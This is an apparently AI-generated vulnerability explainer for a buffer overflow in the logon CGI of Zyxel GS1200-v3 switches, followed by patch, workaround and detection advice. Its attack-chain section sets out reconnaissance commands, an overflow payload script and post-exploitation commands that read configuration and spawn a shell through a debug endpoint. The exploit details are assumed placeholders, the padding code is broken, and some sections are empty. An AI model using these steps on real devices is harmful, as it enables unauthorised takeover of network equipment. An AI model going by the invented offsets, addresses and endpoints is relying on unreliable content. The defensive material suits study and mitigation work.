CVE-2026-109102 — Zyxel GS1200-5v3 Firmware (<= 1.00(ACPS.4)C0) — CWE-120
A buffer overflow vulnerability in the logon CGI program of Zyxel GS1200-5v3 switch firmware versions through 1.00(ACPS.4)C0 could allow an unauthenticated attacker on the LAN to overwrite a return address and enable the debug function.
A buffer overflow vulnerability in the logon CGI program of Zyxel GS1200-5v3 switch firmware versions through 1.00(ACPS.4)C0 could allow an unauthenticated attacker on the LAN to overwrite a return address and enable the debug function.
🎯 What is this vulnerability?
Technical flaw
CVE‑2026‑109102 is a classic buffer overflow (CWE‑120) in the logon CGI program of Zyxel GS1200‑5v3 (and the other GS1200‑v3 family members).
The CGI receives a user‑supplied string (most likely the username or password field) and copies it into a fixed‑size local buffer without bounds checking.
Because the CGI is reachable from the LAN without any authentication or UI interaction (AV:A, PR:N, UI:N), an attacker can send a crafted request that overflows the buffer, overwrites the return address on the stack, and redirects execution to a location of the attacker’s choosing.
The overflow is specifically exploitable to enable the switch’s debug mode. The debug mode is normally disabled for security reasons; once enabled it exposes privileged diagnostic information and, in many Zyxel firmware releases, allows arbitrary command execution via the web interface or the CLI. Thus the vulnerability provides a complete confidentiality, integrity, and availability (CIA) compromise of the device.
The CVSS vector (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the attack is local to the LAN, requires no credentials, and can be performed with minimal effort.
⚡ Attack Chain
NOTE: The exact URI and parameter names are not disclosed in the CVE text. The following example uses the most common pattern (/cgi-bin/logon.cgi) and a genericusernamefield. Replace them with the real values discovered during reconnaissance.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Network scan | nmap -sV -p 80,443 192.168.1.0/24 | Identify Zyxel GS1200‑v3 devices (banner: “Zyxel GS1200‑5v3” or similar). |
| Service fingerprint | curl -I http://<switch-ip>/ | Confirm the web UI is reachable from the LAN. |
| Version check | curl http://<switch-ip>/cgi-bin/firmware_info.cgi (or similar) | Retrieve firmware version string. |
| Vulnerability check | curl -X POST -d "username=admin" http://<switch-ip>/cgi-bin/logon.cgi | Observe if the CGI accepts POST and returns a 200/302; if so, the endpoint is likely vulnerable. |
2. Exploitation
Goal: Overwrite the return address to redirect execution to a debug‑mode enabling routine.
The payload must be large enough to overflow the buffer and contain a return address that points to the debug‑mode function. In practice, the attacker would first discover the exact offset and the address of the debug routine by reverse‑engineering the firmware binary. For illustration, assume:
- Buffer size: 256 bytes
- Return address offset: 260 bytes
- Debug routine address:
0x0804a123(little‑endian:\x23\xa1\x04\x08)
# Craft a NOP sled + return address
NOP_SLED=$(printf '\x90%.0s' {1..200}) # 200 NOPs
RET_ADDR=$(printf '\x23\xa1\x04\x08') # 0x0804a123
PAYLOAD="${NOP_SLED}${RET_ADDR}"
# Pad to 260 bytes (if needed)
PAYLOAD=$(printf '%s%.0s' "$PAYLOAD" {1..260})
# Send the overflow via the username field
curl -s -X POST \
-d "username=${PAYLOAD}&password=foo" \
http://<switch-ip>/cgi-bin/logon.cgiIllustrative example – the exact field names (username,password) and the exact URL may differ. The key point is that a single POST request with a payload larger than the buffer triggers the overflow.
Result: The switch’s debug mode is toggled on. Depending on the firmware, this may expose:
/cgi-bin/debug.cgi endpoint that accepts arbitrary commands.3. Post‑Exploitation
Once debug mode is active, an attacker can:
1. Read sensitive configuration (e.g., VLAN tables, SNMP community strings) via /cgi-bin/debug.cgi?cmd=cat%20/etc/config.
2. Modify configuration to open management ports to the Internet or to add a rogue VLAN.
3. Execute arbitrary commands (e.g., sh /bin/sh) to spawn a shell or install a backdoor.
4. Pivot: use the compromised switch as a foothold to reach other LAN devices.
Typical post‑exploitation actions:
# Example: read the running config
curl http://<switch-ip>/cgi-bin/debug.cgi?cmd=cat%20/etc/config
# Example: add a static route to the Internet
curl http://<switch-ip>/cgi-bin/debug.cgi?cmd=route%20add%20default%20gw%2010.0.0.1The attacker now has full control over the switch, effectively compromising the entire LAN segment.
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (C:H) | Attackers can read all switch configuration, VLAN assignments, and potentially sniff traffic if they re‑configure the switch to act as a bridge. |
| Integrity (I:H) | Attackers can modify configuration, add malicious routes, or inject rogue firmware updates. |
| Availability (A:H) | Attackers can crash the switch by sending malformed packets or by re‑booting it into a non‑bootable state, causing network downtime. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected firmware | Recommended firmware |
|---|---|---|
| Zyxel GS1200‑5v3 | ≤ 1.00(ACPS.4)C0 | ≥ 1.01(ACPS.5)C0 (or latest) |
| Zyxel GS1200‑8v3 | ≤ 1.00(ACPT.4)C0 | ≥ 1.01(ACPT.5)C0 |
| Zyxel GS1200‑5HPv3 | ≤ 1.00(ACPU.4)C0 | ≥ 1.01(ACPU.5)C0 |
| Zyxel GS1200‑8HPv3 | ≤ 1.00(ACPV.4)C0 | ≥ 1.01(ACPV.5)C0 |
| Zyxel GS1200‑10v3 | ≤ 1.00(ACPW.4)C0 | ≥ 1.01(ACPW.5)C0 |
Action: Download the latest firmware from Zyxel’s official support portal and flash the switch. Verify the firmware version with show version or the web UI.
2. Workarounds (if patching is not immediately possible)
| Mitigation | Implementation |
|---|---|
| Disable the logon CGI | Configure the switch to block HTTP/HTTPS access to /cgi-bin/logon.cgi via ACL or firewall rules. |
| Restrict LAN access | Place the switch in a dedicated VLAN with no hosts that can reach it. Use port‑based ACLs to allow only management devices. |
| WAF/ModSecurity rule | Add a rule that blocks POST requests to /cgi-bin/logon.cgi with payloads > 256 bytes. Example (ModSecurity 2.x):<br>SecRule REQUEST_URI "@beginsWith /cgi-bin/logon.cgi" "phase:2,block,log,msg:'Potential logon CGI overflow'" |
| Enable debug mode only via CLI | If the switch supports disabling web‑based debug toggling, use the CLI to lock the debug flag. |
3. Detection
| Indicator | Log pattern | IoC |
|---|---|---|
| Large POST to logon.cgi | POST /cgi-bin/logon.cgi HTTP/1.1 with Content-Length: > 512 | logon.cgi + Content-Length > 512 |
| Repeated 500 errors | 500 Internal Server Error from /cgi-bin/logon.cgi | 500 + logon.cgi |
| Debug mode activation | DEBUG MODE ENABLED in system logs | DEBUG MODE ENABLED |
| Unusual CLI commands | debug command executed via web | debug in CLI logs |
Sample log entry (Syslog)
<189>1 2026-12-01T12:34:56Z switch1 Zyxel-Logon 1234 - - POST /cgi-bin/logon.cgi HTTP/1.1 500 512 "-" "curl/7.68.0"⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query